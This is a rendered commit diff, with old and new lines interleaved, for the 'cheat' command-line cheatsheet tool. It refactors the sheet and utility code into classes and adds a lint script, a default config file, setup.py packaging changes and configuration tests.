""" Returns the contents of the cheatsheet as a String """
if not exists(sheet):
die('No cheatsheet found for ' + sheet)
with open(path(sheet)) as cheatfile:
return cheatfile.read()
with io.open(self._path(sheet), encoding='utf-8') as cheatfile:
return cheatfile.read()

View File

@ -1,93 +1,77 @@
from cheat.colorize import Colorize
from cheat.utils import Utils
import io
import os
from cheat import cheatsheets
from cheat.utils import die
def default_path():
""" Returns the default cheatsheet path """
class Sheets:
# determine the default cheatsheet dir
default_sheets_dir = os.environ.get('DEFAULT_CHEAT_DIR') or os.path.join('~', '.cheat')
default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir))
def __init__(self, config):
self._config = config
self._colorize = Colorize(config)
# create the DEFAULT_CHEAT_DIR if it does not exist
if not os.path.isdir(default_sheets_dir):
try:
# @kludge: unclear on why this is necessary
os.umask(0000)
os.mkdir(default_sheets_dir)
# Assembles a dictionary of cheatsheets as name => file-path
self._sheets = {}
sheet_paths = [
config.cheat_user_dir
]
except OSError:
die('Could not create DEFAULT_CHEAT_DIR')
# merge the CHEAT_PATH paths into the sheet_paths
if config.cheat_path:
for path in config.cheat_path.split(os.pathsep):
if os.path.isdir(path):
sheet_paths.append(path)
# assert that the DEFAULT_CHEAT_DIR is readable and writable
if not os.access(default_sheets_dir, os.R_OK):
die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.')
if not os.access(default_sheets_dir, os.W_OK):
die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.')
if not sheet_paths:
Utils.die('The CHEAT_USER_DIR dir does not exist '
+ 'or the CHEAT_PATH is not set.')
# return the default dir
return default_sheets_dir
# otherwise, scan the filesystem
for cheat_dir in reversed(sheet_paths):
self._sheets.update(
dict([
(cheat, os.path.join(cheat_dir, cheat))
for cheat in os.listdir(cheat_dir)
if not cheat.startswith('.')
and not cheat.startswith('__')
])
)
def directories(self):
""" Assembles a list of directories containing cheatsheets """
sheet_paths = [
self._config.cheat_user_dir,
]
def get():
""" Assembles a dictionary of cheatsheets as name => file-path """
cheats = {}
# merge the CHEATPATH paths into the sheet_paths
for path in self._config.cheat_path.split(os.pathsep):
sheet_paths.append(path)
# otherwise, scan the filesystem
for cheat_dir in reversed(paths()):
cheats.update(
dict([
(cheat, os.path.join(cheat_dir, cheat))
for cheat in os.listdir(cheat_dir)
if not cheat.startswith('.')
and not cheat.startswith('__')
])
)
return sheet_paths
return cheats
def get(self):
""" Returns a dictionary of cheatsheets as name => file-path """
return self._sheets
def list(self):
""" Lists the available cheatsheets """
sheet_list = ''
pad_length = max([len(x) for x in self.get().keys()]) + 4
for sheet in sorted(self.get().items()):
sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
return sheet_list
def paths():
""" Assembles a list of directories containing cheatsheets """
sheet_paths = [
default_path(),
cheatsheets.sheets_dir()[0],
]
def search(self, term):
""" Searches all cheatsheets for the specified term """
result = ''
# merge the CHEATPATH paths into the sheet_paths
if 'CHEATPATH' in os.environ and os.environ['CHEATPATH']:
for path in os.environ['CHEATPATH'].split(os.pathsep):
if os.path.isdir(path):
sheet_paths.append(path)
for cheatsheet in sorted(self.get().items()):
match = ''
for line in io.open(cheatsheet[1], encoding='utf-8'):
if term in line:
match += ' ' + self._colorize.search(term, line)
if not sheet_paths:
die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.')
if match != '':
result += cheatsheet[0] + ":\n" + match + "\n"
return sheet_paths
def list():
""" Lists the available cheatsheets """
sheet_list = ''
pad_length = max([len(x) for x in get().keys()]) + 4
for sheet in sorted(get().items()):
sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
return sheet_list
def search(term):
""" Searches all cheatsheets for the specified term """
result = ''
lowered_term = term.lower()
for cheatsheet in sorted(get().items()):
match = ''
for line in open(cheatsheet[1]):
if lowered_term in line:
match += ' ' + line
if match != '':
result += cheatsheet[0] + ":\n" + match + "\n"
return result
return result

View File

@ -1,71 +1,26 @@
from __future__ import print_function
import os
import sys
import subprocess
def colorize(sheet_content):
""" Colorizes cheatsheet content if so configured """
class Utils:
# only colorize if so configured
if not 'CHEATCOLORS' in os.environ:
return sheet_content
@staticmethod
def die(message):
""" Prints a message to stderr and then terminates """
Utils.warn(message)
exit(1)
try:
from pygments import highlight
from pygments.lexers import get_lexer_by_name
from pygments.formatters import TerminalFormatter
@staticmethod
def warn(message):
""" Prints a message to stderr """
print((message), file=sys.stderr)
# if pygments can't load, just return the uncolorized text
except ImportError:
return sheet_content
@staticmethod
def boolify(value):
""" Type-converts 'true' and 'false' to Booleans """
# if `value` is not a string, return it as-is
if not isinstance(value, str):
return value
first_line = sheet_content.splitlines()[0]
lexer = get_lexer_by_name('bash')
if first_line.startswith('```'):
sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
try:
lexer = get_lexer_by_name(first_line[3:])
except Exception:
pass
return highlight(sheet_content, lexer, TerminalFormatter())
def die(message):
""" Prints a message to stderr and then terminates """
warn(message)
exit(1)
def editor():
""" Determines the user's preferred editor """
# determine which editor to use
editor = os.environ.get('CHEAT_EDITOR') \
or os.environ.get('VISUAL') \
or os.environ.get('EDITOR') \
or False
# assert that the editor is set
if editor == False:
die(
'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
'variable in order to create/edit a cheatsheet.'
)
return editor
def open_with_editor(filepath):
""" Open `filepath` using the EDITOR specified by the environment variables """
editor_cmd = editor().split()
try:
subprocess.call(editor_cmd + [filepath])
except OSError:
die('Could not launch ' + editor())
def warn(message):
""" Prints a message to stderr """
print((message), file=sys.stderr)
# otherwise, convert "true" and "false" to Boolean counterparts
return value.strip().lower() == "true"

10
ci/lint.sh Executable file
View File

@ -0,0 +1,10 @@
#!/bin/sh
# Resolve the app root
SCRIPT=`realpath $0`
SCRIPTPATH=`dirname $SCRIPT`
APPROOT=`realpath "$SCRIPTPATH/.."`
flake8 $APPROOT/setup.py
flake8 $APPROOT/bin/cheat
flake8 $APPROOT/cheat/*.py

6
config/cheat Normal file
View File

@ -0,0 +1,6 @@
{
"CHEAT_COLORS" : true,
"CHEAT_COLORSCHEME" : "light",
"CHEAT_EDITOR" : "vi",
"CHEAT_PATH" : "/usr/share/cheat"
}

View File

@ -1,28 +1,40 @@
from distutils.core import setup
import os
# determine the directory in which to install system-wide cheatsheets
# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat`
# rather than hard-coding it here
cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat'
# aggregate the systme-wide cheatsheets
cheat_files = []
for f in os.listdir('cheat/cheatsheets/'):
cheat_files.append(os.path.join('cheat/cheatsheets/', f))
# specify build params
setup(
name = 'cheat',
version = '2.3.0',
author = 'Chris Lane',
author_email = 'chris@chris-allen-lane.com',
license = 'GPL3',
description = 'cheat allows you to create and view interactive cheatsheets '
name='cheat',
version='2.5.0',
author='Chris Lane',
author_email='chris@chris-allen-lane.com',
license='GPL3',
description='cheat allows you to create and view interactive cheatsheets '
'on the command-line. It was designed to help remind *nix system '
'administrators of options for commands that they use frequently, but not '
'frequently enough to remember.',
url = 'https://github.com/chrisallenlane/cheat',
packages = [
url='https://github.com/chrisallenlane/cheat',
packages=[
'cheat',
'cheat.cheatsheets',
'cheat.test',
],
package_data = {
'cheat.cheatsheets': [f for f in os.listdir('cheat/cheatsheets') if '.' not in f]
},
scripts = ['bin/cheat'],
install_requires = [
scripts=['bin/cheat'],
install_requires=[
'docopt >= 0.6.1',
'pygments >= 1.6.0',
]
'termcolor >= 1.1.0',
],
data_files=[
(cheat_path, cheat_files),
('/etc', ['config/cheat']),
],
)

View File

@ -0,0 +1,86 @@
import unittest2
import os
import shutil
from cheat.configuration import Configuration
def _set_loc_conf(key, value):
_path = os.path.dirname(os.path.abspath(__file__)) + '/home/.config/cheat/cheat'
if value == None:
os.remove(_path)
else:
if not os.path.exists(os.path.dirname(_path)):
os.makedirs(os.path.dirname(_path))
f = open(_path,"w+")
f.write('{"'+ key +'":"'+ value +'"}')
f.close()
def _set_glob_conf(key, value):
_path = os.path.dirname(os.path.abspath(__file__))+ "/etc/cheat"
if value == None:
os.remove(_path)
else:
if not os.path.exists(os.path.dirname(_path)):
os.mkdir(os.path.dirname(_path))
f = open(_path,"w+")
f.write('{"'+ key +'":"'+ value +'"}' )
f.close()
def _set_env_var(key, value):
if value == None:
del os.environ[key]
else:
os.environ[key] = value
def _configuration_key_test(TestConfiguration, key,values, conf_get_method):
for glob_conf in values:
_set_glob_conf(key,glob_conf)
for loc_conf in values:
_set_loc_conf(key,loc_conf)
for env_conf in values:
_set_env_var(key,env_conf)
if env_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),env_conf)
elif loc_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),loc_conf)
elif glob_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),glob_conf)
else:
TestConfiguration.assertEqual(conf_get_method(Configuration()),None)
class ConfigurationTestCase(unittest2.TestCase):
def setUp(self):
os.environ['CHEAT_GLOBAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+ '/etc/cheat'
os.environ['CHEAT_LOCAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+ '/home/.config/cheat/cheat'
def test_get_editor(self):
_configuration_key_test(self,"EDITOR",["nano","vim","gedit",None],
Configuration.get_editor)
def test_get_cheatcolors(self):
_configuration_key_test(self,"CHEATCOLORS",["true",None],
Configuration.get_cheatcolors)
def test_get_cheatpath(self):
_configuration_key_test(self,"CHEATPATH",["/etc/myglobalcheats",
"/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_cheatpath)
def test_get_defaultcheatdir(self):
_configuration_key_test(self,"DEFAULT_CHEAT_DIR",["/etc/myglobalcheats",
"/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_default_cheat_dir)
def tearDown(self):
shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/etc')
shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/home')